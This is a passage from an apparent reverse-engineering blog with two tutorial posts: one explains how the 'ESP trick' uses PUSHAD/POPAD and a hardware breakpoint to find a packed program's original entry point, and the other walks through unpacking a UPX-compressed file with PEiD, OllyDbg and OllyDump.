I decided to ask him if he’d heard about the ESP trick, he replied that he had used it quite a few times in the past. When I decided to ask him if he knew how it actually worked he told me that he didn’t know.

I’ve come across a lot of reverse engineers in my time, some experienced, others inexperienced… Roughly 40% of them had heard about and used the ESP trick at one point or another, but none knew how it actually worked.

That said I thought I’d write about the topic, so that next time someone asks me I can link them here.

When we encounter a PUSHAD instruction at a packed files entrypoint, we can usually assume the ESP trick is a viable option.

So what does the PUSHAD instruction do? It simply pushes all registers onto the stack, the main reason for doing this is because some packers like to preserve/restore the initial registers contents once the original entrypoint is reached…

This is done via the POPAD instruction, which pops the registers contents off the stack and back into the registers.

Once we step over a PUSHAD instruction we can see that the ESP register’s contents has updated, the ESP register always points to the top of the stack, hence its name, Extended-Stack-Pointer.

Once we follow this register’s contents in the dump and set a hardware breakpoint(type: on access. size: dword) at its address, we know that once that address is accessed our hardware breakpoint will be triggered.

The POPAD instruction access’s our address and thus triggers our hardware breakpoint, once the registers are restored a packer will usually execute the now uncompressed code(which is why we usually see a JMP/RETN instruction just after a POPAD instruction).

You may be wondering why we need a hardware breakpoint as oppose to a software breakpoint, the problem with software breakpoints is that our debugger places an int3 instruction(0xCC byte) at our target address, this will corrupt our registers contents… Which is not what we want.

I think that just about covers this explanation. I hope you found this post helpful in some way.

As always, if you’ve any questions, post a comment and let me know.

KOrUPt.

Unpacking UPX

Filed under: Reversing — Tags: , , — KOrUPt @ 19:22

Previously I wrote a post about unpacking ASPack, before I move on to unpacking some of the commonly used protectors(and the uncommon ones), I wanted to mention how to unpack UPX as it is considered one of the easiest packers to unpack.
You can download UPX from its official site at http://upx.sourceforge.net.

Tools we’ll need:
1. PEiD.
2. OllyDbg.
3. OllyDump plugin.

Let’s get started, firstly we should scan our file with PEiD to check it’s actually packed with UPX…

UPX 0.89.6 – 1.02 / 1.05 – 1.24 -> Markus & Laszlo

And it is.

UPX’s entrypoint looks similar to this:

PUSHAD
MOV ESI, Server.00408000
LEA EDI, DWORD PTR DS:[ESI+FFFF9000]
PUSH EDI
OR EBP, FFFFFFFF
JMP SHORT Server.0040BA82

The PUSHAD instruction is of interest to us in this case, it does the following:

PUSHAD – Push All General Purpose Registers.

We can use what is known as the ESP trick to find OEP(Original-Entry-Point)… Step over(F8) the PUSHAD instruction and you’ll notice the ESP register’s contents changes, proceed by following its contents in the dump, set a hardware breakpoint(Size: dword. Type: on access) on followed byte.

Run(F9) until you hit the hardware breakpoint, you should land on a JMP instruction which leads to our OEP, step over it(F8).

You should now be at OEP. The IAT(Import Address Table) is basically intact so there’s no need to launch ImpRec and attempt to rebuild it(Most protectors tend to destroy the IAT to complicate our job).

All that’s left to do is dumping, launch the OllyDump plugin, leave the rebuild imports option on (method 1) and continue dumping the file.

You’ve now unpacked a UPX compressed file, I bet that was easier than you imagined?

Don’t forget to test your dumped file, if you did everything correctly it should execute without problems.

KOrUPt.

Older Posts »

Powered by WordPress